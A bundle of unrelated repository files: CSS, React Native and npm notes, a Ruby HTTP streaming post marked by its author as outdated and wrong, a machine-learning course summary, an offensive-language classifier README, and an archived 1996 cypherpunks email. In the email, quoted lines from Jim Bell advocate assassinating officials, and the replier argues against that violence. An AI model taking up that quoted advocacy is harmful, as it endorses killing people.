text:
# collage-css
a simple grid and utils for photo collage in css

![demo Layout of collage-css](https://github.com/MinSiThu/collage-css/blob/master/demoLayout.png?raw=true)
**demo layout of collage css**

**Collage Css** is used to show collage form of images in Web Interface.

**container** class is used to take 96% width and automatic center block.

**row** class represents a row.
**col-6** represents a column which takes 60% of the row.

Title

    Subtitle

**Background-color Classes in collage-css**

* bg-priamry
* bg-secondary
* bg-info
* bg-success
* bg-danger
* bg-warning

**Responsive-Image**

**Stack**

Box1

Box2

**stack** class is used to add **box** which are in column position.
Boxs are also responsive.

Other util classes are also included.

[Contact Me @facebook](https://www.facebook.com/profile.php?id=100008064318566)

repository: MinSiThu/collage-css

repo_name: MinSiThu/collage-css


text:
---
layout: default
---

# 1996-05-26 - Re: [SCARE]:  "If you only knew what we know..."

## Header Data

From: Subir Grewal<EMAIL_ADDRESS>To: jim bell<EMAIL_ADDRESS>Message Hash: ffde4ec3dea1e98456dc3ffbe0382df5ab7302ec5e96b9390a8f93a9b32280ab

Message ID<EMAIL_ADDRESS>Reply To<EMAIL_ADDRESS>UTC Datetime: 1996-05-26 22:28:24 UTC

Raw Date: Mon, 27 May 1996 06:28:24 +0800

## Raw message

```
{% raw  %}From: Subir Grewal<EMAIL_ADDRESS>Date: Mon, 27 May 1996 06:28:24 +0800
To: jim bell<EMAIL_ADDRESS>Subject: Re: [SCARE]:  "If you only knew what we know..."
In-Reply-To<EMAIL_ADDRESS>Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 25 May 1996, jim bell wrote:

:At 09:48 PM 5/25/96 -0400, Subir Grewal wrote:
:How "removed" do they have to be to be innocent, in your opinion?

If they didn't pull the trigger or give the order, they're innocent.
Making these criteria any laxer will cause problems as more and more
people are drawn into the category of offenders, pretty soon you're the
only victim, everyone else is out there to steal from you or assist in the
theft.

:Nuclear bomb design.  Done with funds stolen from taxpayers.  Done to
:protect the leadership of this country, not the public.

Pure mathematics as far as the people working at the lab were concerned.
You really think if the receptionist had died, it would have been
self-defense?  A couple of kids died in computer labs at other schools
where this happened, they were there feeding punched cards into the
machines.  Somehow that doesn't sound right to me.

:And isn't it immoral for George Bush, for instance, to choose a solution
:that results in the deaths of tens of thousands of comparatively innocent
:Iraqis, both during and after the Gulf war, rather than bumping off Saddam
:Hussein?  Think about it.  Exactly why does he do the former, rather than
:the latter?

And the Iranian leaders really think Clinton is an ungoldy kafir for
meeting Rushdie the apostate.  Why not kill him, after all various
Americans have suggested this is a valid tactic?  Your methods will be
used for ends you do not agree with.  From what I've learnt of the Gulf
war (I was reading most of the time, kept away from the TV), they did try
very hard to kill Sadaam Hussein, but got nowhere.  As is apparent,
political leaders value their own lives more than they do those of the
foot-soldiers.  Many among the foot-soldiers belive their lives would be
"brutish, nasty and short" without the mechanism of the state and are
willing to defend it and those who currently operate the machine.  Of
course George Bush I don't trust at all because the man was practically
glowing during "his war", anyone who enjoys a war, revels in it, is not
someone I admire, respect, or even talk to.  However, when you propose
that we kill this person, I'm not going to stand with you either.  Rest
assured, there will be many others waiting to take his place when he is
killed, and some of them will spell potato like the English feudal lords
did.

:>- From what I've gathered of AP, it attempts no radical reformation of "the
:>system", simply adds another set of costs for individuals within the govt.
:>to take into account.
:
:"Another set of costs"?  Yikes!  Read the essay, governments as we know them
:can't possibly survive post-AP.

Oh no, I think they will survive post AP.  The odds are quite high that
the people who are convinced to act on the AP philosophy will be branded
terrorists and become the objectives of many witch hunts the world over.
The IRA has a bad rep, though most sympathize with their cause.  And they
engender Thatchers, or others who are convinced of their "rightness" and
can only get to those posts by making public their convictions and gaining
some sympathy from the populace.  The fact that their targets, and know it
but still do not waver, makes them heroes in many eyes.

:Well, I disagree.  Until recently, public opinion was almost entirely
:manufactured.  It was a joint project of the government and the news media.

I too think Chomsky has perceptive vision when it comes to the media.

:Is there any significant likelihood that the people in power today will
:relinquish power absent a system such as AP?  I'm not optimistic about that.

No, noone "relinquishes" power.  They fight to keep it, but the struggle
does not always have to be violent, and it hurts our cause to instigate
violence when none has been used directly against us.

<EMAIL_ADDRESS>* Symbiant test coaching * Blue-Ribbon * Lynx 2.5
WHERE CAN THE MATTER BE

	Oh, dear, where can the matter be
	When it's converted to energy?
	There is a slight loss of parity.
	Johnny's so long at the fair.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Key Escrow = Conscription for the masses | 2048 bit via finger

iQB1AwUBMaiFnBwDKqi8Iu65AQGSngMAluS3YrESGUjk/e9DQxP5AIovFfaF8kcg
hF3WO7k7UvAhhcOq9FAHg2B7QnllEdPTohQqoxcC/F4RHZE7Ak1aHkhpxq3hopCO
1YOO3M3fGiz32TX8GnM9M61xiEUQ814b
=igsk
-----END PGP SIGNATURE-----

{% endraw %}
```

## Thread

+ Return to [May 1996](/archive/1996/05)

+ Return to "[jim bell <jimbell@pacifier.com>](/authors/jim_bell_jimbell_at_pacifier_com_)"
+ Return to "[Subir Grewal <grewals@acf2.nyu.edu>](/authors/subir_grewal_grewals_at_acf2_nyu_edu_)"

+ 1996-05-26 (Mon, 27 May 1996 06:49:58 +0800) - [Re: [SCARE]:  "If you only knew what we know..."](/archive/1996/05/210f18aa8ab0cb4aa34ce614416c03a00be6bea1bea30f4a837d0c10bdcc975b) - _jim bell<EMAIL_ADDRESS>  + 1996-05-26 (Mon, 27 May 1996 06:28:24 +0800) - Re: [SCARE]:  "If you only knew what we know..." - _Subir Grewal<EMAIL_ADDRESS>

license: MIT

branch_name: refs/heads/master

extension: md

gha_license_id: MIT

license_type: permissive


text:
# React Native Formik [![Coverage Status](https://coveralls.io/repos/github/bamlab/react-native-formik/badge.svg?branch=master)](https://coveralls.io/github/bamlab/react-native-formik?branch=master) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![semantic-release](https://img.shields.io/badge/%20%20%F0%9F%93%A6%F0%9F%9A%80-semantic--release-e10079.svg)](https://github.com/semantic-release/semantic-release) [![NPM downloads](https://img.shields.io/npm/dm/react-native-formik.svg)](https://www.npmjs.com/package/react-native-formik) [![NPM downloads](https://img.shields.io/npm/dt/react-native-formik.svg)](https://www.npmjs.com/package/react-native-formik)

Forms are very verbose in React, and a lot of the time, you end up copy pasting a lot of boilerplate.

This repository is a set of high order components designed to help you take control again of your forms with React Native and [Formik](https://github.com/jaredpalmer/formik)

**Features**

- Easily composable set of helpers
- Connects your React Native input to Formik with no boilerplate (See `handleTextInput`)
- Add a `type` prop on your TextInput to take care of the input options based on the type (See `withInputTypeProps`)
- Automatically focus the next input (See `withNextInputAutoFocus`)
- Component agnostic: Handle any other form component with any design with `withFormikControl`

The point is to make your forms easy to write and provide features your users will expect with code as small as:

```javascript
<MyInput label="Email" name="email" type="email" />
<MyInput label="Password" name="password" type="password" />
<Switch label="Accept terms and conditions" name="accepted" />
<DatePicker label="Birthday" name="birthday" />
<Button onPress={props.handleSubmit} title="SUBMIT" />
```

**Table of contents**

- [Installation](#installation)
- [Guides](#guides)
  - [The Gist](#the-gist-see-it-in-snack)
  - [Custom components](#custom-components-see-it-in-snack)
  - [Formatting inputs](#formatting-inputs)
  - [Move form above keyboard](#move-form-above-keyboard)
  - [Step by step formik + react-native-formik integration](./doc/formik_step_by_step.md)
- [API](#api)
  - [handleTextInput](#handleTextInput)
  - [withErrorIfNeeded](#withErrorIfNeeded)
  - [withError](#witherror)
  - [withFocus](#withfocus)
  - [withInputTypeProps](#withinputtypeprops)
  - [withNextInputAutoFocus](#withnextinputautofocus)
  - [withTouched](#withtouched)
  - [withPickerValues](#withpickervalues)

## Installation

```shell
yarn add formik react-native-formik
```

## Guides

### The Gist [See it in Snack](https://snack.expo.io/@almouro/react-native-formik-gist)

#### Use any Input component

We can use any `Input` component. It will receive an `error` prop in addition to the usual `TextInput` props.

For instance, we can use [react-native-material-textfield](https://github.com/n4kz/react-native-material-textfield) for the material design.

#### Create our form logic

We can compose our input with `handleTextInput` to make it boilerplate free. It will:

- automatically manage its state in formik provided it has a `name` prop
- automatically set its `error` prop if input is touched or form has been submitted
- automatically adds the correct `TextInput` props dependending on its type (at the moment, `email`, `password`, `digits`, `name` are supported)

Let's add in `withNextInputAutoFocusInput`, which provides those awesome features:

- when an input is submitted, it will automatically focuses on the next or submit the form if it's the last one
- sets return key to "next" or "done" if input is the last one or not
  For `withNextInputAutoFocus` to work, the input component should be a class and implement a `focus` method.

```javascript
import { compose } from "recompose";
import {
  handleTextInput,
  withNextInputAutoFocusInput
} from "react-native-formik";
import { TextField } from "react-native-material-textfield";

const MyInput = compose(
  handleTextInput,
  withNextInputAutoFocusInput
)(TextField);
```

To complement `withNextInputAutoFocusInput`, we need to create a `Form` component, for instance:

```javascript
import { View } from "react-native";
import { withNextInputAutoFocusForm } from "react-native-formik";

const Form = withNextInputAutoFocusForm(View);
```

We can also create a validation schema, with `yup`. It's of course possible to use other validation possibilities provided by Formik, but `yup` makes validation and error messaging painless.

```javascript
import * as Yup from "yup";

const validationSchema = Yup.object().shape({
  email: Yup.string()
    .required()
    .email("well that's not an email"),
  password: Yup.string()
    .required()
    .min(2, "pretty sure this will be hacked")
});
```

Then the form in itself becomes simple:

```javascript
export default props => (
  <Formik
    onSubmit={values => console.log(values)}
    validationSchema={validationSchema}
    render={props => {
      return (
        <Form>
          <MyInput label="Email" name="email" type="email" />
          <MyInput label="Password" name="password" type="password" />
          <MyInput label="First Name" name="firstName" type="name" />
          <MyInput label="Last Name" name="lastName" type="name" />
          <Button onPress={props.handleSubmit} title="SUBMIT" />
        </Form>
      );
    }}
  />
);
```

Full code:

```javascript
import React from "react";
import { Button, TextInput, View } from "react-native";
import { compose } from "recompose";
import { Formik } from "formik";
import * as Yup from "yup";
import {
  handleTextInput,
  withNextInputAutoFocusForm,
  withNextInputAutoFocusInput
} from "react-native-formik";
import { TextField } from "react-native-material-textfield";

const MyInput = compose(
  handleTextInput,
  withNextInputAutoFocusInput
)(TextField);
const Form = withNextInputAutoFocusForm(View);

const validationSchema = Yup.object().shape({
  email: Yup.string()
    .required("please! email?")
    .email("well that's not an email"),
  password: Yup.string()
    .required()
    .min(2, "pretty sure this will be hacked")
});

export default props => (
  <Formik
    onSubmit={values => console.log(values)}
    validationSchema={validationSchema}
    render={props => {
      return (
        <Form>
          <MyInput label="Email" name="email" type="email" />
          <MyInput label="Password" name="password" type="password" />
          <MyInput label="First Name" name="firstName" type="name" />
          <MyInput label="Last Name" name="lastName" type="name" />
          <Button onPress={props.handleSubmit} title="SUBMIT" />
        </Form>
      );
    }}
  />
);
```

Boilerplate-free, hassle-free, our form is awesome with minimum code required.

### Custom components [See it in Snack](https://snack.expo.io/@almouro/react-native-formik-gist)

#### withFormikControl usage

Thanks to `withFormikControl`, `formik` and `react-native-formik` can handle any custom component just like TextInputs, granted that the component takes as props:

```javascript
{
  value: ValueType,
  setFieldValue: (value: ValueType) => void,
  error: ?string,
  setFieldTouched: () => void
}
```

If you want to use `withNextInputAutoFocus`, your component should be a class and have a `focus` method.
Below is a simple example, a full example is available on `./src/Example/DatePicker.js`.

#### Simple Example: using a Switch

A very simple example would be handling a `Switch` component in your form:

```javascript
import React from "react";
import { Text, Switch as RNSwitch } from "react-native";
import { withFormikControl } from "react-native-formik";

class Switch extends React.PureComponent {
  render() {
    const { error, value, setFieldValue, label } = this.props;

    return (
      <React.Fragment>
        <RNSwitch
          value={value}
          ios_backgroundColor={error ? "red" : "transparent"}
          onValueChange={setFieldValue}
        />
        <Text>{label}</Text>
      </React.Fragment>
    );
  }
}

export default withFormikControl(Switch);
```

You can now use it in your form just like any other input:

```javascript
<Switch label="Accept terms and conditions" name="termsAndConditionsAccepted" />
```

### Formatting inputs

You may need to format inputs as the user types in. For instance, adding spaces in a telephone number (`0612345678` -> `06 12 34 56 78`).
Here's how you would do it:

```javascript
const formatPhoneNumber: string => string = (unformattedPhoneNumber) => ...;

...

<Formik
    render={({ values }) => {
      return (
        <Form>
          <MyInput name="phoneNumber" value={formatPhoneNumber(values.phoneNumber)} />
        </Form>
      );
    }}
/>
```

### Move form above keyboard

The purpose of this section is to give you a solution to create a bottom form which will go up when the keyboard appears, and the content at the top at the page will disappear.

You have to:

- Create a form like you learnt above ;
- Use [react-native-keyboard-spacer](https://github.com/Andr3wHur5t/react-native-keyboard-spacer): it will create view with the keyboard's size when the keyboard will opened;
- Use [react-native-hide-with-keyboard](https://github.com/bamlab/react-native-hide-with-keyboard): it will hide component when the keyboard will opened.

```javascript
import React, { PureComponent } from "react";
import { Image, Platform, ScrollView } from "react-native";
import Hide from "react-native-hide-with-keyboard";
import KeyboardSpacer from "react-native-keyboard-spacer";
import { Formik } from "formik";
import { Button, FormFormik, TextInputFormik } from "./components";
const cat = require("./cat.jpg");

class AdoptACat extends PureComponent<{}> {
  render() {
    return (
      <ScrollView
        style={styles.container}
        contentContainerStyle={styles.contentContainer}
        keyboardShouldPersistTaps="handled"
      >
        <Hide>
          <Image source={cat} style={styles.image} />
        </Hide>
        <View style={styles.fillContainer} />
        <Formik
          onSubmit={() => {}}
          render={props => (
            <FormFormik>
              <TextInputFormik
                name="catName"
                placeholder={"His name"}
                returnKeyType="next"
                type="name"
              />
              <TextInputFormik
                name="humanName"
                placeholder={"Your name"}
                returnKeyType="done"
                type="name"
              />
              <Button text={"Adopt him ..."} />
            </FormFormik>
          )}
        />
        {Platform.OS === "ios" && <KeyboardSpacer />}
      </ScrollView>
    );
  }
}

const styles = {
  container: {
    backgroundColor: "white",
    flex: 1,
    padding: 20
  },
  contentContainer: {
    flex: 1
  },
  fillContainer: {
    flex: 1
  },
  image: {
    alignSelf: "center",
    resizeMode: "contain"
  }
};

export default AdoptACat;
```

For Android, we don't have to use react-native-keyboard-spacer because `android:windowSoftInputMode` is in `adjustResize` mode. Indeed, the view is automatically resize and you don't have to fill it like on iOS.

Enjoy your life :

![iOS](https://github.com/bamlab/react-native-formik/blob/master/doc/images/bottomForm.gif)

## API

### withFormikControl

See [usage](#Custom-components)

### handleTextInput

A set of default HOC to manage TextInputs.
Includes `withErrorIfNeeded`, `withInputTypeProps` and `withFormikControl` remapped for specifically for the React Native `TextInput`

### withErrorIfNeeded

Pass in the Formik error for the input as a prop, only if input has been touched or the form has been submitted

### withError

Pass in the Formik error for the input as a prop.

### withFocus

Add a `focused` prop to the input depending on its focus state.

### withInputTypeProps

Let's face it, you'll always want to remove auto-capitalization for email inputs and use the email keyboard.

Using `withInputTypeProps` and passing a `type`, you'll always get the correct props for you input.

```javascript
import { TextInput } from "react-native";
import { withInputTypeProps } from "react-native-formik";

const MyInput = withInputTypeProps(TextInput);

const emailInput = () => <MyInput type="email" />;
```

Authorized types as of now are `email`, `password`, `digits` and `name`. Setting another type has no consequence.

Check [the props set by the type](./src/withInputTypeProps) in the source!

### withNextInputAutoFocus [See example in Snack](https://snack.expo.io/@almouro/Z3JlYX)

- when an input is submitted, it will automatically focuses on the next or submit the form if it's the last one
- sets return key to "next" or "done" if input is the last one or not
- :warning: your input component needs to be a class and needs to implement a `focus` function
- :warning: Inputs need to be wrapped by `withNextInputAutoFocusInput` and the container of the inputs need to be wrapped in `withNextInputAutoFocusForm`.

```javascript
import { TextInput, View } from "react-native";
import {
  withNextInputAutoFocusForm,
  withNextInputAutoFocusInput
} from "react-native-formik";

class CustomInput extends React.PureComponent {
  // Implement a focus function that focused whatever needs to be focused
  focus = () => { this.input.focus(); }

  render() {
    return (
      <TextField ref={input => this.input = input} {...this.props} />
    );
  }
}

const MyInput = withNextInputAutoFocusInput(CustomInput);
const Form = withNextInputAutoFocusForm(View);

export default props => (
  <Formik
    onSubmit={values => console.log(values)}
    validationSchema={validationSchema}
    render={props => {
      return (
        <Form>
          <MyInput label="Email" name="email" type="email" />
          <MyInput label="Password" name="password" type="password" />
          <MyInput label="First Name" name="firstName" type="name" />
        </Form>
      );
    }}
  />
);
```

### withTouched

Pass in the Formik touched value for the input as a prop.

### withPickerValues

Wraps your component into a `TouchableOpacity` which, when pressed, opens a dialog to pick a value.
You need to provide a `values` props with the pickable items.

If you need to dismiss the picker's "Keyboard", you can use `KeyboardModal.dismiss()` like below.

```javascript
import { TextInput, View } from "react-native";
import { compose } from "recompose";
import makeInput, {
  KeyboardModal,
  withPickerValues
} from "react-native-formik";

const MyPicker = compose(
  makeInput,
  withPickerValues
)(TextInput);

export default props => (
  <Formik
    onSubmit={values => {
      KeyboardModal.dismiss();
      console.log(values);
    }}
    validationSchema={validationSchema}
    render={props => {
      return (
        <View>
          <MyPicker
            name="gender"
            values={[
              { label: "male", value: "Mr" },
              { label: "female", value: "Mrs" }
            ]}
          />
        </View>
      );
    }}
  />
);
```

## Guide

### Move form above keyboard

The purpose of this section is to give you a solution to create a bottom form which will go up when the keyboard appears, and the content at the top at the page will disappear.

You have to:

- Create a form like you learnt above ;
- Use [react-native-keyboard-spacer](https://github.com/Andr3wHur5t/react-native-keyboard-spacer): it will create view with the keyboard's size when the keyboard will opened;
- Use [react-native-hide-with-keyboard](https://github.com/bamlab/react-native-hide-with-keyboard): it will hide component when the keyboard will opened.

```javascript
import React, { PureComponent } from "react";
import { Image, Platform, ScrollView } from "react-native";
import Hide from "react-native-hide-with-keyboard";
import KeyboardSpacer from "react-native-keyboard-spacer";
import { Formik } from "formik";
import { Button, FormFormik, TextInputFormik } from "./components";
const cat = require("./cat.jpg");

class AdoptACat extends PureComponent<{}> {
  render() {
    return (
      <ScrollView
        style={styles.container}
        contentContainerStyle={styles.contentContainer}
        keyboardShouldPersistTaps="handled"
      >
        <Hide>
          <Image source={cat} style={styles.image} />
        </Hide>
        <View style={styles.fillContainer} />
        <Formik
          onSubmit={() => {}}
          render={props => (
            <FormFormik>
              <TextInputFormik
                name="catName"
                placeholder={"His name"}
                returnKeyType="next"
                type="name"
              />
              <TextInputFormik
                name="humanName"
                placeholder={"Your name"}
                returnKeyType="done"
                type="name"
              />
              <Button text={"Adopt him ..."} />
            </FormFormik>
          )}
        />
        {Platform.OS === "ios" && <KeyboardSpacer />}
      </ScrollView>
    );
  }
}

const styles = {
  container: {
    backgroundColor: "white",
    flex: 1,
    padding: 20
  },
  contentContainer: {
    flex: 1
  },
  fillContainer: {
    flex: 1
  },
  image: {
    alignSelf: "center",
    resizeMode: "contain"
  }
};

export default AdoptACat;
```

For Android, we don't have to use react-native-keyboard-spacer because `android:windowSoftInputMode` is in `adjustResize` mode. Indeed, the view is automatically resize and you don't have to fill it like on iOS.

Enjoy your life :

![iOS](https://github.com/bamlab/react-native-formik/blob/master/doc/images/bottomForm.gif)

repository: bamlab/react-native-formik

gha_language: JavaScript

repo_name: bamlab/react-native-formik


text:
---
layout: post
title: "[out of date, wrong] How to stream HTTPS in chunks with Ruby's Net::HTTP"
description: "So you don't load it all into memory"
category:
tags: [ruby]
---
{% include JB/setup %}

_WARNING: This post is ancient and probably wrong._

Standard Net::HTTP usage pulled from the [Ruby 1.9.3 docs for Net::HTTP](http://ruby-doc.org/stdlib-1.9.3/libdoc/net/http/rdoc/Net.html):

{% highlight ruby %}
require 'tmpdir'
require 'uri'
require 'net/http'

# works with either a query already in the URL or as a second argument
def download_to_tmp_path(url, query = nil)
  uri = URI(url)
  tmp_path = File.join Dir.mktmpdir(uri.to_s.gsub(/\W/, '_')), "out"
  if query
    uri.query = URI.encode_www_form query
  end
  Net::HTTP.start(uri.host, uri.port, :use_ssl => (uri.scheme == 'https')) do |http|
    request = Net::HTTP::Get.new uri.request_uri
    http.request request do |response|
      File.open tmp_path, 'w' do |io|
        response.read_body do |chunk|
          io.write chunk
        end
      end
    end
  end
  tmp_path
end
{% endhighlight %}

so for example

{% highlight ruby %}
puts "HTTP"
url = 'http://s3.amazonaws.com/creative.faraday.io/logo.png'
logo = download_to_tmp_path(url)
system 'file', logo

puts
puts "HTTPS"
url = 'https://s3.amazonaws.com/creative.faraday.io/logo.png'
logo = download_to_tmp_path(url)
system 'file', logo

puts
puts "Inline query"
url = 'https://s3.amazonaws.com/creative.faraday.io/logo.png?greeting=hello+world'
logo = download_to_tmp_path(url)
system 'file', logo

puts
puts "Query as hash"
url = 'https://s3.amazonaws.com/creative.faraday.io/logo.png'
query = { greeting: 'hello world' }
logo = download_to_tmp_path(url, query)
system 'file', logo
{% endhighlight %}

gives

{% highlight console %}
HTTP
http://s3.amazonaws.com/creative.faraday.io/logo.png
/var/folders/cw/h96jw4sj6b19gvk9cnsy15h40000gp/T/http___s3_amazonaws_com_creative_faraday_io_logo_png20140714-4167-miomm3/out: PNG image data, 134 x 40, 8-bit/color RGBA, non-interlaced

HTTPS
https://s3.amazonaws.com/creative.faraday.io/logo.png
/var/folders/cw/h96jw4sj6b19gvk9cnsy15h40000gp/T/https___s3_amazonaws_com_creative_faraday_io_logo_png20140714-4167-ud6zhp/out: PNG image data, 134 x 40, 8-bit/color RGBA, non-interlaced

Inline query
https://s3.amazonaws.com/creative.faraday.io/logo.png?greeting=hello+world
/var/folders/cw/h96jw4sj6b19gvk9cnsy15h40000gp/T/https___s3_amazonaws_com_creative_faraday_io_logo_png_greeting_hello_world20140714-4167-143mn3q/out: PNG image data, 134 x 40, 8-bit/color RGBA, non-interlaced

Query as hash
https://s3.amazonaws.com/creative.faraday.io/logo.png
/var/folders/cw/h96jw4sj6b19gvk9cnsy15h40000gp/T/https___s3_amazonaws_com_creative_faraday_io_logo_png20140714-4167-79adl/out: PNG image data, 134 x 40, 8-bit/color RGBA, non-interlaced
{% endhighlight %}


text:
---
title: Machine Learning by Andrew Ng - Week 1 (Summary)
category: "machine learning"
cover: large-icon.png
author: Dorottya Denes
---

## 1. What is Machine Learning?

 There isn't a universally accepted definition of machine learning by its practitioners, hence multiple definitions are provided.

In the 1950s, [Arthur Samuel](https://en.wikipedia.org/wiki/Arthur_Samuel) built a checkers program that learned by playing against
itself for thousands of times. He coined the term 'machine learning' as

>the field of study that gives computers the ability to learn without being explicitly programmed.

Later this definition became outdated and more formality was introduced by [Tom Mitchell](http://www.cs.cmu.edu/~tom/). In his definition,

>a computer program is said to learn from **experience E** with respect to some class of **tasks T** and **performance measure P**, if its performance at tasks in T, as measured by P, improves with experience E.

In the checkers example, the program gains Experience ($E$) by playing with itself. The Task ($T$) for it is to play checkers (well) and its Performance ($P$) could be measured by the probability of winning the next game.

## 2. Supervised Learning vs Unsupervised Learning

There are several types of [learning algorithms](https://en.wikipedia.org/wiki/Machine_learning#Types_of_learning_algorithms). They can differ in their
approach, the input or output data, or the task they try to solve. The two most important categories are supervised and unsupervised learning. Others not
covered in this post is Semi-supervised and Reinforcement Learning.

### 2.1 Supervised Learning

Imagine we have a dataset about adults in Glasgow. It describes their age, profession, education level, and other
social-economic factors, **$X$**. It also contains their annual income, **$Y$**.

You are under the assumption, that these social-economic variables can explain a Glaswegian's yearly income.
Based on this dataset, you could build a model **$f(X)$** to estimate how much an adult in Glasgow with the given parameters earn
in a year.

There are two more subcategories inside supervised learning based on the type of the output data, **$Y$**.

When **$Y$** is a continuous/real value, we call it a __*regression problem*__.
Predicting annual income is such a task.

If **$Y$** is discrete, it is a __*classification problem*__.
Predicting if someone's annual income is larger than 30K is a classification, since we have two discrete
categories (yes/no) as outputs.

### 2.2 Unsupervised Learning

In unsupervised learning, you don't have labelled data. The goal is to infer patterns without knowing or referring to an outcome,
relying on an assumed underlying structure in the variable space.

__*Clustering*__ is when you try to split your data based on similarities between the variables. For instance, grouping records
in the Glasgow adult dataset together based on their social-economic background.

An example __*non-clustering*__ unsupervised learning is the [Cocktail Party Algorithm](https://en.wikipedia.org/wiki/Cocktail_party_effect). which separates voices
from different sources.

## 3. Model and Cost Function

### 3.1 Model Representation

Let's continue with estimating the annual income of adults in Glasgow. How does our model look like?

We have some input variables **$X$** (social-economic background) that we think explain our output variable
**$Y$** (annual income). Using functional notation, under this hypothesis **$Y = h(X)$**, where **$h$** is our hypothesis
function.

How do we form this function **$h$**? By considering our historical data. We use each observation pairs -
$(\bm{x^{(i)}},\bm{y^{(i)}})$ - to teach our model something about the dependency of **$Y$** on **$X$**.
In this case, $\bm{x^{(i)}}$ is the vector of features for observation i and $\bm{y^{(i)}}$ is the annual income
for the same observation.

I'll talk about different functions to model this dependency at a later stage.

### 3.2 Cost Function

Assume you set up your hypothesis function $h$. Now on your training dataset you want to check is the predicted
annual income values are actually close to the observed ones. That is, you want to measure the distance
of $h(\bm{x^{(i)}})$ and $\bm{y^{(i)}}$.

An obvious choice is to take the squared difference $(h(\bm{x^{(i)}})-\bm{y^{(i)}})^2$. However
you want to regard all $(\bm{x^{(i)}},\bm{y^{(i)}})$ pairs when calculating the accuracy of $h$.

Hence, you have to sum up the distance between $h(\bm{x^{(i)}})$ and $\bm{y^{(i)}}$ over all observations
(let's say you have $N$ of them) and take the mean of this sum. This is called the
__*squared error function*__ or __*mean squared error*__.

The value of the cost function gets big when our predictions are far from the observed output and decreases
when these get closer. Hence our goal is to minimize the cost function.

**Cost Function**: $J = \frac{1}{2N} \sum_{i=1}^N (h(\bm{x^{(i)}})-\bm{y^{(i)}})^2$

You might have noticed there is an additional division by 2 that I haven't covered yet. Later when we
calculate the gradient descent, we take the derivative of this expression. Differentiation of the squared expression cancels
out the added division by 2,
making the rest of the calculations easier.

## 4. Parameter Learning

Now we set up a simple model to predict annual income. We assume that the older you are, the more experience
you have - and the more you earn! (it is a really naive model...)

Thus using our notation, $h_{\bm{\theta}}(\bm{x^{(i)}}) = \theta_0 + \theta_1 x^{(i)}_1$. Here, $\bm{\theta}=(\theta_0, \theta_1) $
is our parameter vector. By changing these values, we can increase or decrease
the output of the cost function above.

The cost function $\bm{J_{\theta}}$ is a function of the pair $\bm{\theta}=(\theta_0, \theta_1) $ .
We can plot the values for each pair resulting in a picture similar to the one below.

![plot](plot.png)

The task of finding the most accurate hypothesis function with the given functional form translates
to finding the global minimum of this surface.

repository: dododenes/gatsby-starter-hero-blog

repo_name: dododenes/gatsby-starter-hero-blog


text:
# Offenseval
SemEval 2019 - Task 6 - Identifying and Categorizing Offensive Language in Social Media

## Descrption
A system to classifiy a tweet as either offensive or not offensive (Sub-task A) and further classifies offensive tweets into categories (Sub-tasks B – C). Some sort of grid search approach is taken where multiple techniques for preprocessing, feature extraction and classification are implemented and combinations of them all are tried to achieve the best model for the given dataset.

## Subtasks
- Sub-task A - Offensive language identification;  [Offensive: OFF, Not Offensive: NOT]
- Sub-task B - Automatic categorization of offense types; [Targted: TIN, Untargeted: UNT]
- Sub-task C: Offense target identification. [Individual: IND, Group: GRP, Other: OTH]

## Implementation

### Preprocessing
Tokenization, Stopwords Removal, Lemmatizaion, Stemming

### Vectorization
TFIDF, Count, Word2Vec, GloVe, fastText

### Classification
KNN, Naïve Bayes, SVM, Decision Trees, Random Forest, Logistic Regression, MLP, Adaboost, Bagging
#### Deeplearning
LSTM, 1-D CNN

## Running
- Install requiremetns using `pip3 install -r requirements.txt`

- `python3 tune.py` to do a complete search on all combinations of prepocessing, vectorization and non-deep classification techniques while tuning the classifiers hyper-params.

- `python3 train.py` to train one of the deeplearning models.

## Sample tuning.py output
![alt text](https://github.com/ZeyadZanaty/offenseval/blob/master/docs/tuning-reults/tuning-b-f1/LogisticRegression.png?raw=true "Logistic Regression")
![alt text](https://github.com/ZeyadZanaty/offenseval/blob/master/docs/tuning-reults/tuning-b-f1/SVC.png?raw=true "SVC")
![alt text](https://github.com/ZeyadZanaty/offenseval/blob/master/docs/tuning-reults/tuning-a/RandomForest.png?raw=true "RF")

repository: para-zhou/offenseval

repo_name: para-zhou/offenseval


text:
####
**Package vs Module**
####

A module is a single js file with reusable functionality.

A package is made up of one or more modules.

npm install will install all dependencies

npm test will run npm test script if one is created

**Help**

npm <command> -h to to get help -- for text based help

npm -h <command> to to get help -- for online official help page

npm help-search <command*> - this will regex search for commands that start with that name

**Shortcuts**

https://docs.npmjs.com/misc/config - shorthand for flags

npm install - npm i

Package .json

track depencies
run scripts so you don't grunt
npm init - create it using npm init
$ npm set init-author-name Cesar Aviles
$ npm get init-author-name Cesar Aviles
$ npm config remove init-author-name

**NPM INSTALL**

npm install -g install package globaly -- for instance to get mocha or gulp from command line
npm install <package> --S or --save -- to save to your dependencies section of package.json
npm install <package> --D or --save-dev -- to save to dev dependencies
npm list - shows dependencies hierarchy
npm list -g -depth 0 -- to view the global packages you've installed

**Semantic versioning**

major.minor.patch

major version means something is not backwards compatible
minor is a simple new feature
patch is a bug fix

npm install<EMAIL_ADDRESS>-- will install the latest 1.8.x version

npm install<EMAIL_ADDRESS>-- will install 1.8.4

leave off the @version to install the latest package

npm install<EMAIL_ADDRESS><1.9.3" -- get any package between the two versions

npm install <package> -- will install the latest

npm install<EMAIL_ADDRESS><1.9.3"

npm install<EMAIL_ADDRESS>-- will install any version at or newer than this version

npm install<EMAIL_ADDRESS>-- will install newer version as long as they are 1.8

npm update -- update packages

npm update --dev update dev packages

npm update --prod update prod packages

npm update -g -- will update global libraries

npm install <giturl or other url> -- this is the same as installing with the npm package name

npm i <folder> -- install from a local or network path

via browser

npmjs.com -- here you can search the registry

npm.im/<packagename> -- gives packages details

npm remove <package> -- remove can be used to remove packages from your packages.json file

npm prune <package> -- remove can be used to remove packages that are extraneous aka not in  packages.json file

npm list --depth 0 -- list packages we've installed

npm prune --production -- will remove all dev dependencies so your package is ready to go to prod

npm repo <package> -- goes to github page for package

**sudo npm npm@lates -g -- upgrade npm**

--save -- will always add ~

npm install --save-dev @types/mocha -- install type defs to get intellisense in webstorm
npm install @types/node --save-dev -- node typings

repository: caviles/beastnodejs

repo_name: caviles/beastnodejs


text:
---
layout: post
title: Reading List // April 2022
category: reading
---

![alt text](https://trgenovese.github.io/blog/images/apr22reading.jpg)

## Selections from the Web:
